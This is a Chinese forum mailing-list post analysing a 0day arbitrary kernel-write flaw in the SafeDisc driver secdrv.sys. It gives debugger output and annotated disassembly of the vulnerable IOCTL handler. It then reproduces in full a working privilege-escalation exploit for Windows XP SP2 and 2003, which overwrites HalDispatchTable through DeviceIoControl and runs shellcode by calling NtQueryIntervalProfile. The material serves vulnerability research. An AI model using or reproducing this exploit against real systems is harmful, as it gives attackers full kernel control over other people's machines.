以下消息来自幻影论坛[Ph4nt0m]邮件组
secdrv.sys任意kernel地址覆盖漏洞浅析(0day)
by flyingkisser
前言:
这几天忙着找工作,没及时看安全公告,这个0day出了好几天才知道,
并且等我想分析时,才发现poc已经出来了。
Anyway,还是把分析过程写一写吧,尽管没什么技术含量,
这里我只分析了主要的地方,也只说说关键的。
1.什么是secdrv.sys
secdrv.sys,不知道是干什么的,也懒得去google了,我只发现xp的默认安装
有这个文件,位于%systemroot%\system32\drivers\,并且,我的机器默认没有
加载这个驱动,我也不清楚什么条件下系统会加载这个驱动。
2.分析这个漏洞前的准备
a.加载这个驱动,并run(我用的是kmdmanager.exe)
b.开kd(这里就不用softice动态跟了,因为我的虚拟机一运行softice,主机的cpu使用率就100%,
如果有人知道为什么,麻烦来信告诉我))
kd> !object \Driver\
在茫茫信息中找到
18 81218c08 Driver secdrv
kd> dt nt!_driver_object 81218c08 MajorFunction
nt!_DRIVER_OBJECT
+0x038 MajorFunction : [28] 0xfaf38f28 +0
kd> dd 81218c08+38+e*4 l1
81218c78 faf38f28
(因为IRP_MJ_DEVICE_CONTROL=e)
因此得知这个驱动对象的Irp的Dispatch函数地址是faf38f28
下面,我们直接看看这个Dispatch函数的内部实现就行了
3.Dispatch函数的内部实现
首先,通过POC我已经知道发生问题的io control code是0xCA002813
io control code的格式如下:
-------------------------------------------------------
| Bit31-Bit16 | Bit15,Bit14 | Bit14-Bit2 | Bit1,Bit0 |
-------------------------------------------------------
| DeviceType | Access | Function | Method |
-------------------------------------------------------
0xCA002813最后一个字节是13,即bit1,bit0是11,所以使用的Method是METHOD_NEITHER,
即i/o管理器对DeviceIoControl 提供的输入缓冲区和输出缓冲区的内容不进行额外的复制,
即输入缓存区和输出缓冲区都是ring3调用入栈的地址。这时:
InputBuf位于IO_STACK_LOCATION结构的Parameters.DeviceIoControl.Type3InputBuffer成员中
OutputBuf位于_Irp结构的UserBuffer成员中
下面来看这个Dispatch函数内部关键的汇编代码
faf38e2c 817df0132800ca cmp dword ptr [ebp-10h],0CA002813h ;0xCA002813
faf38e33 7434 je secdrv+0x5e69 (faf38e69) ;according to poc,this is the MAGIC_IOCTL,need to jump
faf38e69 8b450c mov eax,dword ptr [ebp+0Ch] ;eax=&pIrp->IoStatus
faf38e6c 832000 and dword ptr [eax],0 ;pIrp->IoStatus->Status=0
faf38e6f 8b450c mov eax,dword ptr [ebp+0Ch]
faf38e72 83600400 and dword ptr [eax+4],0 ;pIrp->IoStatus->Information=0
faf38e76 8b45e8 mov eax,dword ptr [ebp-18h] ;pIrp->CurrentStackLocation
faf38e79 8b4010 mov eax,dword ptr [eax+10h] ;eax=csl->Parameters->DeviceIoControl->Type3InputBuffer
faf38e7c 8945f4 mov dword ptr [ebp-0Ch],eax
faf38e7f 8b45e8 mov eax,dword ptr [ebp-18h]
faf38e82 8b4008 mov eax,dword ptr [eax+8]
faf38e85 8945ec mov dword ptr [ebp-14h],eax ;eax=csl->Parameters->DeviceIoControl->InputBufferLength
faf38e88 8b45e8 mov eax,dword ptr [ebp-18h]
faf38e8b 8b4004 mov eax,dword ptr [eax+4]
faf38e8e 8945fc mov dword ptr [ebp-4],eax ;eax=csl->Parameters->DeviceIoControl->OutputBufferLength
faf38e91 8b45ec mov eax,dword ptr [ebp-14h]
faf38e94 3b45fc cmp eax,dword ptr [ebp-4] ;
faf38e97 7417 je secdrv+0x5eb0 (faf38eb0) ;need to jump
;if(csl->Parameters->DeviceIoControl->OutputBufferLength==csl->Parameters->DeviceIoControl->InputBufferLength)
;jump here
;即输入Buf和输出Buf的长度需要相等才行
faf38eb0 8b45f4 mov eax,dword ptr [ebp-0Ch] ;eax=csl->Parameters->DeviceIoControl->Type3InputBuffer
;short for InBuf
faf38eb3 8945f8 mov dword ptr [ebp-8],eax
faf38eb6 8b45f8 mov eax,dword ptr [ebp-8]
faf38eb9 ff700c push dword ptr [eax+0Ch] ;InBuf[3]
faf38ebc 8b45f4 mov eax,dword ptr [ebp-0Ch]
faf38ebf 83c010 add eax,10h
faf38ec2 50 push eax ;&InBuf[4]
faf38ec3 ff35e891f3fa push dword ptr [secdrv+0x61e8 (faf391e8)];
faf38ec9 8b45f8 mov eax,dword ptr [ebp-8]
faf38ecc ff7004 push dword ptr [eax+4] ;InBuf[1]
faf38ecf 8b45f8 mov eax,dword ptr [ebp-8]
faf38ed2 ff30 push dword ptr [eax] ;InBuf[0]
faf38ed4 a1e891f3fa mov eax,dword ptr [secdrv+0x61e8 (faf391e8)];
faf38ed9 ff5010 call dword ptr [eax+10h] ;[eax+10h]=faf380ba
;stub_faf380ba(InBuf[0],InBuf[1],dword ptr [secdrv+0x61e8 (faf391e8)],&InBuf[4],InBuf[3])
;这个函数调用是对一些参数进行检测,如inBuf[1]必须是96h,这个检测函数的内部就不往下跟了,内容不少
faf38edc 8945e4 mov dword ptr [ebp-1Ch],eax ;must return 0ah
faf38edf 837de40a cmp dword ptr [ebp-1Ch],0Ah ;
faf38ee3 7417 je secdrv+0x5efc (faf38efc) ;need jump
;!!!!!!!!!!!!!!!!!!!!!!!漏洞发生的地方!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;if(stub_faf380ba()==0ah),jump here
;------this is what we called vulnerable,write any address by any value
;这里把InputBuf的内容覆盖到OutBuf中,而InputBuf和OutBuf的内容又是我们可以控制的,所以,可以发挥想象力了
faf38efc 8b4dfc mov ecx,dword ptr [ebp-4] ;ecx=csl->Parameters->DeviceIoControl->OutputBufferLength
faf38eff 8b75f4 mov esi,dword ptr [ebp-0Ch] ;esi=csl->Parameters->DeviceIoControl->Type3InputBuffer
faf38f02 8b4508 mov eax,dword ptr [ebp+8] ;eax=pIrp
faf38f05 8b783c mov edi,dword ptr [eax+3Ch] ;edi=pIrp->UserBuffer
faf38f08 8bc1 mov eax,ecx ;eax=csl->Parameters->DeviceIoControl->OutputBufferLength
faf38f0a c1e902 shr ecx,2
faf38f0d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
faf38f0f 8bc8 mov ecx,eax
faf38f11 83e103 and ecx,3
faf38f14 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
4.总结
secdrv.sys对外开放出一个ioctl的接口,ring3可直接使用DeviceIoControl调用这个接口。
这个接口的主要作用是把输入缓冲区的内容复制到输出缓冲出中,当然
输入缓冲区的内容和输出缓冲区的内容都是我们可以控制的。
所以,我们可以使用任意内容覆盖任意地址,这里,因为在kernel中我们的权限是至高无上的,因此使用适当的
内容去覆盖kernel中的内存,便可以实现提权,这里,shellcode和覆盖kernel中的哪块内存不是本文的讨论重点,
请参看下面给出的poc
5.poc
from [url]http://www.securityfocus.com/archive/1/482482[/url]
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////
//// Macrovision Safedisc secdrv.sys
//// Privilege Escalation Exploit XP SP2 && 2003
//// ---------------------------------------------
//// This code can only be used for personal study
//// and research purposes.
//// ---------------------------------------------
//// Copy secdrv_plugin.dll to '{kartoffel}\plugins'
//// > kartoffel.exe -D secdrv_plugin
//// ---------------------------------------------
//// Ruben Santamarta
//// [url]www.reversemode.com[/url]
//// kartoffel.reversemode.com
////
#include "stdafx.h"
#define MAGIC_IOCTL 0xCA002813
#define IMAGEBASE 0x400000
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
PULONG Interval );
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
_declspec(naked) int ShellCode()
{
_asm{
mov eax,0xC0000138
retn 0x10
}
}
int Callback_Overview()
{
printf("\n");
printf("================================================= \n");
printf(" Macrovision SafeDisc \n");
printf(" SecDrv.sys Privilege Escalation Exploit \n");
printf(" XP SP2 && 2003\n");
printf("================================================= \n");
printf("+ K-plugin by: \n");
printf(" Ruben Santamarta \n");
printf("+ References:\n");
printf(" [url]www.macrovision.com[/url]\n");
printf(" [url]www..symantec.com/enterprise/security_response/weblog/2007/10/privilege_escalation_exploit_i.html[/url]\n");
printf(" [url]www.reversemode.com[/url]\n\n");
return 1;
}
int Callback_Direct( char *lpInitStr )
{
PNTQUERYINTERVAL NtQueryIntervalProfile;
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
ULONG_PTR xHalQuerySystemInformation;
ULONG_PTR HalDispatchTable;
ULONG_PTR HalOffset2;
ULONG_PTR HalOffset3;
ULONG_PTR BaseNt=0;
ULONG_PTR result;
ULONG_PTR inBuff[4];
WCHAR **lpDevices = NULL;
HANDLE hDevice;
HMODULE hKernel;
char szNtos[MAX_PATH];
DWORD dwNum = 0,i = 0, b=0,junk;
int status=0;
Callback_Overview();
printf("\n[+] Checking device...");
hDevice = OpenDevice(L" \\\\.\\SecDrv",
TRUE,
FALSE,
FALSE,
0,
0);
if( hDevice == INVALID_HANDLE_VALUE )
{
printf("Failed!\n\n try \"kartoffel.exe -q c:\\windows\\system32\\drivers\\secdrv.sys,exploiting\" before executing the exploit.\n\n");
return FALSE;
}
printf("OK\n");
if( GetDriverInfoByName("krnl",szNtos,&BaseNt) )
{
printf("[+] %s loaded at \t [ 0x%p ]\n",szNtos,BaseNt);
}
else
{
printf("[!!] Kernel not found :?\n");
return FALSE;
}
if( strstr(szNtos,"krnlpa") )
{
hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);
}
else
{
hKernel = LoadLibraryExA("ntoskrnl.exe",0,1);
}
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
"HalDispatchTable");
if( !HalDispatchTable )
{
printf("[!!] HalDispatchTable not found\n");
return FALSE;
}
xHalQuerySystemInformation = *(ULONG_PTR*)(HalDispatchTable+sizeof(ULONG_PTR));
xHalQuerySystemInformation -= IMAGEBASE;
xHalQuerySystemInformation += BaseNt;
HalOffset2 =*(ULONG_PTR*)(HalDispatchTable-sizeof(ULONG_PTR));
HalOffset2 -= IMAGEBASE;
HalOffset2 += BaseNt;
HalOffset3 =*(ULONG_PTR*)(HalDispatchTable+sizeof(ULONG_PTR)*2);
HalOffset3 -= IMAGEBASE;
HalOffset3 += BaseNt;
HalDispatchTable -= ( ULONG_PTR )hKernel;
HalDispatchTable += BaseNt;
printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n",HalDispatchTable);
printf("[+] xHalQuerySystemInformation() \t\t [ 0x%p ]\n",xHalQuerySystemInformation);
printf("[+] NtQueryIntervalProfile ");
NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile");
if( !NtQueryIntervalProfile )
{
printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile );
inBuff[0] = HalOffset2;
inBuff[1] = 0x96;
inBuff[2] = (ULONG_PTR)ShellCode;
inBuff[3] = HalOffset3;
printf("[+] Input Buffer:\n");
printf("\t [0] -> 0x%p\n",HalOffset2);
printf("\t [1] -> 0x%p\n",(ULONG_PTR)0x96);
printf("\t [2] -> 0x%p\n",(ULONG_PTR)ShellCode);
printf("\t [3] -> 0x%p\n",HalOffset3);
printf("[+] Sending malformed request...");
DeviceIoControl(hDevice,
MAGIC_IOCTL,
(LPVOID)inBuff,0x10,
(LPVOID)(HalDispatchTable-sizeof(ULONG_PTR)),0x10,
&junk,
NULL);
printf("OK\n");
printf("[+] Executing shellcode...");
Sleep(3000);
NtQueryIntervalProfile(stProfile,&result);
printf("OK\n");
printf("[+] Exiting...\n");
CloseHandle(hDevice);
return status;
}